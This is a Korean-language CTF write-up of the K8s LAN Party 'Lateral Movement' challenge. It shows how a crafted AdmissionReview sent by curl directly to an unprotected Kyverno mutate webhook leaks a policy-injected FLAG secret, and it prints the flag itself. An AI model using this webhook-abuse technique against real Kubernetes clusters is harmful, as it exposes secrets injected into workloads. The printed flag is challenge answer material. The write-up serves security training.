k8slanparty-challenge-5

소개

앞서 소개한 K8SLANPARTY 4 – Bypassing Boundaries 풀이에 이어 마지막 문제 5 – Lateral Movement 풀이를 공유해보려 합니다.

이번 문제는 Kyverno 와 관련된 문제입니다.

5 – Lateral Movement

문제

아래 사항들을 제공해주고 있습니다.

  • pods 가 foreign regime 에 변경되고 있는 곳에서는,
  • 누군가는 bureaucracy 를 남용하고, administrative 서비스들로부터 민감 정보를 유출할 수 있습니다.
  • policy 를 문제에서 아래와 같이 제공해주고 있습니다.
apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: apply-flag-to-env
  namespace: sensitive-ns
spec:
  rules:
    - name: inject-env-vars
      match:
        resources:
          kinds:
            - Pod
      mutate:
        patchStrategicMerge:
          spec:
            containers:
              - name: "*"
                env:
                  - name: FLAG
                    value: "{flag}"

사전 필요 지식

  • kyverno 는 kubernetes 네이티브 정책 엔진입니다.
  • kubernetes 는 아래와 같은 flow 로 resource 관련 요청을 kyverno 로 보내어 정책을 태웁니다.
    • Kubernetes > Webhook (with AdmissionReview Object) > Kyverno

풀이

1. env 확인

먼저 어김없이 env 를 한번 확인해봅니다.

K8SLANPARTY – Challenge 5

특별한 건 보이지 않습니다. kubernetes service host 만 확인해 둡니다.

2. dnscan 이용한 서비스 dns 스캔

dnscan 을 이용하여 클러스터 내 다른 서비스를 스캔해 봅니다.

K8SLANPARTY – Challenge 5

kyverno 서비스들이 올라가 있는 것으로 확인이 됩니다. kyverno 는 Kubernetes 네이티브 정책 엔진으로서, 정책을 통해 리소스를 관리할 수 있도록 해줍니다.

문제에서 주어졌던 Policy 는 kyverno 정책인것으로 보입니다.

그렇다면 문제에서의 Policy 가 무엇을 나타내는지 확인해 보면 아래와 같습니다.

  • sensitive-ns 네임스페이스에서 모든 pod 의 container 들에 FLAG 라는 이름에 flag값을 포함하는 env 변수를 입력하라

결국 container 의 env 를 확인해야 문제가 풀리는 것이였습니다.

문제 shell 에서 policy 수정을 위한 kubectl 도 안되니 다른 방법으로 우회를 해야할 듯합니다.

이쯤에서 kyverno 의 architecture 에 대해 한번 살펴봅니다.

K8SLANPARTY – Challenge 5
출처: https://kyverno.io/docs/introduction/

위 아키텍처를 보면 정책 엔진 동작 flow 는 아래와 같음을 알 수 있습니다.

  1. kubernetes API 를 통해 resource 관련 요청이 오면 mutating(변경) 또는 validating(검증) 을 위해 AdmissionReview 객체를 kyverno webhook endpoint 로 요청을 보냅니다.
  2. kyverno 에서는 정책 평가가 완료되면 AdmissionReview 객체를 통해 kubernetes 로 응답을 보내줍니다.

결국, kubernetes api 를 통해 생성된 env flag 값을 문제의 shell 에서 확인할 수 없다면, 직접 kyverno webhook Endpoint 로 AdmissionReview 객체를 보내고 응답을 통해 env flag 값을 확인하는 방법이 있을 듯합니다.

아래와 같은 flow 로 요청을 보내게 되는 것이지요. (빨강 container shell)

K8SLANPARTY – Challenge 5

3. Kyverno webhook endpoint 접근 가능 유무 확인

그러면 주어진 container 의 shell 에서 kyverno webhook endpoint 로의 요청을 송수신 할 수 있는 권한이 있는지 한번 확인해봅니다.

K8SLANPARTY – Challenge 5

mutate Endpoint 로 요청시 권한에 의한 차단은 이루어 지지 않네요.

그럼 이제 직접 mutate webhook endpoint 로 요청을 날려보겠습니다.

4. kyverno webhook endpoint 로 요청

kubernetes Docs 를 보면, AdmissionReview 객체를 이용한 Webhook request, response 형태를 확인할 수 있습니다. 그리고 response 를 통해 변경 사항(문제의 flag env)에 대한 base64 인코딩된 값을 얻을 수 있을듯합니다.

kyverno webhook 요청을 보내기 위해서는 먼저 AdmissionReview 객체가 필요합니다. 이 객체를 만드는 방법을 찾아보니 github 에 kube-review 라는 툴이 존재하네요.

이를 이용하여 웹훅에 Data 로 같이 보낼 AdmissionReview 객체를 우선 만들어 봅니다.

문제에서 주어진 policy 는 pod 생성시 env 추가하도록 설정이 되어있었으니, 임의의 pod 생성을 위한 yaml 을 우선 만들고,

# creat-pod.yaml for test
apiVersion: v1
kind: Pod
metadata:
  name: nginx-pod
  namespace: sensitive-ns
spec:
  containers:
    - name: nginx-container
      image: nginx:latest
      ports:
        - containerPort: 80

kube-review 로 AdmissionReview 객체를 추출합니다.

$ kube-review create create-pod.yaml                                          
{
    "kind": "AdmissionReview",
    "apiVersion": "admission.k8s.io/v1",
    "request": {
        "uid": "d42f0902-8bf5-4568-abd7-9dd3f738be23",
        "kind": {
            "group": "",
            "version": "v1",
            "kind": "Pod"
        },
        "resource": {
            "group": "",
            "version": "v1",
            "resource": "pods"
        },
        "requestKind": {
            "group": "",
            "version": "v1",
            "kind": "Pod"
        },
        "requestResource": {
            "group": "",
            "version": "v1",
            "resource": "pods"
        },
        "name": "nginx-pod",
        "namespace": "sensitive-ns",
        "operation": "CREATE",
        "userInfo": {
            "username": "kube-review",
            "uid": "55916c60-a659-44bf-8831-62bc4d6f486a"
        },
        "object": {
            "kind": "Pod",
            "apiVersion": "v1",
            "metadata": {
                "name": "nginx-pod",
                "namespace": "sensitive-ns",
                "creationTimestamp": null
            },
            "spec": {
                "containers": [
                    {
                        "name": "nginx-container",
                        "image": "nginx:latest",
                        "ports": [
                            {
                                "containerPort": 80
                            }
                        ],
                        "resources": {}
                    }
                ]
            },
            "status": {}
        },
        "oldObject": null,
        "dryRun": true,
        "options": {
            "kind": "CreateOptions",
            "apiVersion": "meta.k8s.io/v1"
        }
    }
}

이제 kyverno mutate webhook endpoint 로 추출된 객체를 post 데이터로 함께 보내어 응답을 받습니다.

curl -k -X POST -H "Content-Type: application/json" -d '{"kind":"AdmissionReview","apiVersion":"admission.k8s.io/v1","request":{"uid":"4af8e5d9-7c9a-452b-93f4-641eb7557d2c","kind":{"group":"","version":"v1","kind":"Pod"},"resource":{"group":"","version":"v1","resource":"pods"},"requestKind":{"group":"","version":"v1","kind":"Pod"},"requestResource":{"group":"","version":"v1","resource":"pods"},"name":"nginx-pod","namespace":"sensitive-ns","operation":"CREATE","userInfo":{"username":"kube-review","uid":"10c40ac4-0fdc-4ca0-bd07-d34c6a3795a7"},"object":{"kind":"Pod","apiVersion":"v1","metadata":{"name":"nginx-pod","namespace":"sensitive-ns","creationTimestamp":null},"spec":{"containers":[{"name":"nginx-container","image":"nginx:latest","ports":[{"containerPort":80}],"resources":{}}]},"status":{}},"oldObject":null,"dryRun":true,"options":{"kind":"CreateOptions","apiVersion":"meta.k8s.io/v1"}}}' https://kyverno-svc.kyverno.svc/mutate

아래와 같이 응답에 response 데이터를 확인할 수 있습니다.

K8SLANPARTY – Challenge 5

5. response 에서 flag 획득

이제 앞에서 받은 응답 데이터에서 patch 필드의 값을 basd64 디코딩을 하면..

[{
    "op": "add",
    "path": "/spec/containers/0/env",
    "value": [{
        "name": "FLAG",
        "value": "wiz_k8s_lan_party{you-are-k8s-net-master-with-great-power-to-mutate-your-way-to-victory}"
    }]
}, {
    "path": "/metadata/annotations",
    "op": "add",
    "value": {
        "policies.kyverno.io/last-applied-patches": "inject-env-vars.apply-flag-to-env.kyverno.io: added /spec/containers/0/env\n"
    }
}]

추가한 policy 가 잘 적용되면서, 적용된 FLAG env 값을 확인할 수 있네요! 🚀

결론

길었지만 진행사항을 요약하면 아래와 같습니다.

  1. env 확인
  2. dnsscan 으로 kyverno services 확인
  3. kyverno architecture 를 통한 kyverno webhook flow 이해
    • K8S API <—-(with AdmissionReview )—-> Kyverno webhook Endpoint
  4. AdmissionReview 객체를 직접 만들어 kyverno webhook endpoint 로 curl 요청
  5. AdmissionReview 객체는 kube-review 툴을 이용하여 생성
  6. 응답값에서 patch 필드의 값을 base64 디코딩하여 flag 값 추출
Series Navigation<< K8SLANPARTY – Challenge 4 Bypassing Boundaries 풀이

One thought on “K8SLANPARTY – Challenge 5 Lateral Movement 풀이

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다

Back To Top